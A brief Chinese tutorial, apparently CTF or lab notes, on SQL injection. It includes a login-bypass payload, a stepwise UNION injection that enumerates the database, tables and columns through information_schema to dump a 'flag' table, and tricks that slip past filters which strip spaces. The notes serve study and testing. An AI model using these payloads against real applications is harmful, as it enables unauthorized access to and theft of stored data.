AI摘要:文章主要讲述了SQL注入的几种方法,包括使用万能密码、联合查询注入以及突破字符替换。文章详细解释了如何通过联合查询注入获取数据库名、表名和列名,以及如何获取特定表的数据。同时,文章还介绍了如何通过使用URL编码和特定字符组合来突破只过滤了空格的字符替换。

SQL注入

万能密码


'or 1 = 1 #

联合查询注入


# 获取返回的字段位置

'union select 1,2,3------ #    --查看回显确定

# 获取当前数据库名字,以第二个为回显为例

'union  select  1,database(),3; # --回显'web2'

# 查看数据库中的表名

'union select 1,table_name,3 from information_schema.tables where table_schema =database(); #    --回显flag,user

# 查看flag表中的列名

'union  select  1,column_name,3  from information_schema.columns where table_name ='flag';#    --回显flag

# 拿到flag

'union select 1,flag,3 from flag;#

PS:

mysqlinformation_schema库中记录了其它数据库的结构

tables记录了数据表和数据库的关系

columns记录了数据表和列的关系

database():输出当前数据库名

group_concat():可将多行数据查询结果返回为一行字符串


select * from 表对象 where [条件]

知道数据库名称:web2

如何获得web2的所有数据表?


select table_name from information_schema.tables where table_schema =database();

突破字符替换

为了防御sql注入,有的开发者直接简单、暴力的将selectfrom等关键字替换或匹配拦截

1. 只过滤了空格:

%0a%0b%0c%0d%09%a(均为url编码,%a0在特定字符集才能利用)和/**/组合、括号等